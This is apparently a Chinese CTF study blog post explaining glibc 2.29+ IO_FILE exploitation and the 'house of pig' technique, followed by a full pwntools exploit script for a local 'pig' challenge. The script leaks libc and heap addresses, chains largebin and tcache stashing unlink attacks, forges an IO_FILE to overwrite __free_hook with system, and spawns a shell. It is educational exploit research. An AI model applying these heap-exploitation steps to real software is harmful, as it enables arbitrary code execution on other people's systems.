1. 程式人生 > 其它 >glibc2.29以上 IO_FILE 及 house of pig

glibc2.29以上 IO_FILE 及 house of pig

擺爛很長時間之後,終於下定決心來看點新的東西。正好 winmt 師傅前不久把他 pig 修好的附件發給我了,我就藉此來學習一下新版本的 IO_FILE 及 house of pig。

新版本的 IO_FILE 利用的函式是老版本中喜歡用的 _IO_str_overflow,我們來看一下 glibc 2.29 下的_IO_str_overflow 的原始碼

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      
return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100
; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }

裡面呼叫了  malloc ,memcpy,free 函式,且通過偽造 IO_FILE 結構,我們可以控制 malloc 的大小,memcpy 的引數等,藉此我們就可以大致完成接下來 house of pig 的利用了。但是我這裡先記敘一個也是通過這個函式來進行 ORW 的方法。我們觀察這個函式在 glibc 2.29 裡的彙編

 

 

 注意到有 mov    rdx,[rdi + 0x28] 的操作也就是說我們可以嘗試通過 rdi 來控制 rdx,並且此時的 rdi 就是 fake IO_FILE 結構體的首地址,通過 largebin attack 即可控制 rdx,而 glibc 2.29 及以上的 setcontext 裡由原來的 rdi 控制暫存器轉變為由 rdx 控制暫存器。所以我們一旦利用這個函式進行攻擊那麼就不需要尋找特定的 gadget 來對暫存器進行轉換,並且這個函式中的轉換是在呼叫 malloc 之前。我們如果事先把 __malloc_hook 改為 setcontext 的地址,並且提前佈置好 ORW 的位置(把 srop_addr 放在 _IO_write_ptr 上),那麼再呼叫 _IO_str_overflow 的時候就會先控制好 rdx 暫存器,再通過 __malloc_hook 來觸發 setcontext 來進行對 rsp ,rip 的控制,從而控制程式執行流來執行 ORW。

 

好了現在下面講 house of pig 這個操作,其主要原理在上面已經提到,就是利用 _IO_str_overflow 裡的 malloc,memcpy,free函式的連續呼叫。通過合理佈局把 __free_hook - 0x10 的位置鏈入 tcache 中,再通過偽造的 IO_FILE 來使得 malloc 時可以把 __free_hook - 0x10 申請出來,並且可以通過 memcpy 把 system_addr  複製到 __free_hook 中,最後即可通過 free(old_buf) 來 get shell。

從上面原始碼 size_t new_size = 2 * old_blen + 100; 可知 malloc 的 size = 2*( _IO_buf_end -  _IO_buf_base) + 100

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./pig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    s.sendlineafter(b'Choice: ' , b'1')
    s.sendlineafter(b'size: ' , str(size))
    s.sendlineafter(b'message: ' , content)

def show(index):
    s.sendlineafter(b'Choice: ' , b'2')
    s.sendlineafter(b'index: ' , str(index))

def edit(index,content):
    s.sendlineafter(b'Choice: ' , b'3')
    s.sendlineafter(b'index: ' , str(index))
    s.sendafter(b'message: ' , content)

def delete(index):
    s.sendlineafter(b'Choice: ' , b'4')
    s.sendlineafter(b'index: ' , str(index))

def change(user):
    s.sendlineafter(b'Choice: ' , b'5')
    if (user == 1):
        s.sendlineafter(b'user:\n' , b'A\x01\x95\xc9\x1c')
    elif (user == 2):
        s.sendlineafter(b'user:\n' , b'B\x01\x87\xc3\x19')
    elif (user == 3):
        s.sendlineafter(b'user:\n' , b'C\x01\xf7\x3c\x32')

#----- prepare for tcache stashing unlink attack
change(2)
for i in range(5):
    add(0x90 , b'B'*0x28) # B0-B4
    delete(i) # B0-B4

change(1)
add(0x150 , b'A'*0x68) # A0

for i in range(7):
    add(0x150 , b'A'*0x68) # A1-A7
    delete(i+1) # A1-A7
delete(0)

change(2)
add(0xb0 , b'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0

change(1)
add(0x180 , b'A'*0x78) # A8
for i in range(7):
    add(0x180 , b'A'*0x78) # A9-A15
    delete(i+9)
delete(8)

change(2)
add(0xe0 , b'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0

#----- leak libc_base and heap_base
change(1)
add(0x430 , b'A'*0x158) # A16

change(2)
add(0xf0 , b'B'*0x48) # B7

change(1)
delete(16)

change(2)
add(0x440 , b'B'*0x158) # B8 throw A16 to largebin

change(1)
show(16)
s.recvuntil(b'message is: ')
libc_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x1ebfe0
success('libc_base=>' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
_IO_list_all = libc_base + libc.sym['_IO_list_all'] 
_IO_str_jumps = libc_base + 0x1ed560

edit(16 , b'A'*0xf + b'\n')
show(16)
s.recvuntil(b'message is: ' + b'A'*0xf + b'\n')
heap_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x13940
success('heap_base=>' + hex(heap_base))

#----- first largebin attack
edit(16 , p64(libc_base + 0x1ebfe0)*2 + p64(heap_base + 0x13940)*2 + b'\n')
add(0x430 , b'A'*0x158) # A17
add(0x430 , b'A'*0x158) # A18
add(0x430 , b'A'*0x158) # A19

change(2)
delete(8)
add(0x450 , b'B'*0x168) # B9 throw B8 to largebin

change(1)
delete(17) # throw A17 to unsortedbin

change(2)
edit(8 , p64(0) + p64(__free_hook - 0x28) + b'\n')

change(3)
add(0xa0 , b'C'*0x28) # c0 triger largebin attack to write a heap_addr to __free_hook - 8

change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover

#----- second largebin attack
change(3)
add(0x380 , b'C'*0x118) # c1 clean unsortedbin

change(1)
delete(19)

change(2)
edit(8 , p64(0) + p64(_IO_list_all - 0x20) + b'\n')

change(3)
add(0xa0 , b'C'*0x28) # c2 tiger largebin attack to write a heap_addr to _IO_list_all

change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover

#------ tcache stashing unlink attack
change(1)
payload = b'A'*0x50 + p64(heap_base + 0x12280) + p64(__free_hook - 0x20) + b'\n'
edit(8 , payload)

change(3)
payload = b'\x00'*0x18 + p64(heap_base + 0x147c0)
payload = payload.ljust(0x158 , b'\x00')
add(0x440 , payload) # c3 change fake file _chain
add(0x90 , b'C'*0x28) # c4 triger tcache stashing unlink attack to put __free_hook-0x10 to tcache


fake_IO_FILE = p64(0) # _IO_read_end
fake_IO_FILE+= p64(0) # _IO_read_base
fake_IO_FILE+= p64(1) # _IO_write_base
fake_IO_FILE+= p64(0xfffffffffffff) # _IO_write_ptr
fake_IO_FILE+= p64(0) # _IO_write_end
fake_IO_FILE+= p64(heap_base + 0x148a0) # _IO_buf_base
fake_IO_FILE+= p64(heap_base + 0x148b8) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0 , b'\x00')
fake_IO_FILE+= p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8 , b'\x00')
fake_IO_FILE+= p64(_IO_str_jumps) # _vtable

payload = fake_IO_FILE + b'/bin/sh\x00' + p64(system_addr)*2

s.sendlineafter(b'Gift:' , payload)

s.sendlineafter(b'Choice: ' , b'5')
s.sendline(b'')

gdb.attach(s)
s.interactive()

 

附件

提取碼:976p

 

參考連結:

https://mp.weixin.qq.com/s/U3FmOwXeWzq_FvwLTk1-Zg

https://www.anquanke.com/post/id/242640

https://www.anquanke.com/post/id/216290#h3-2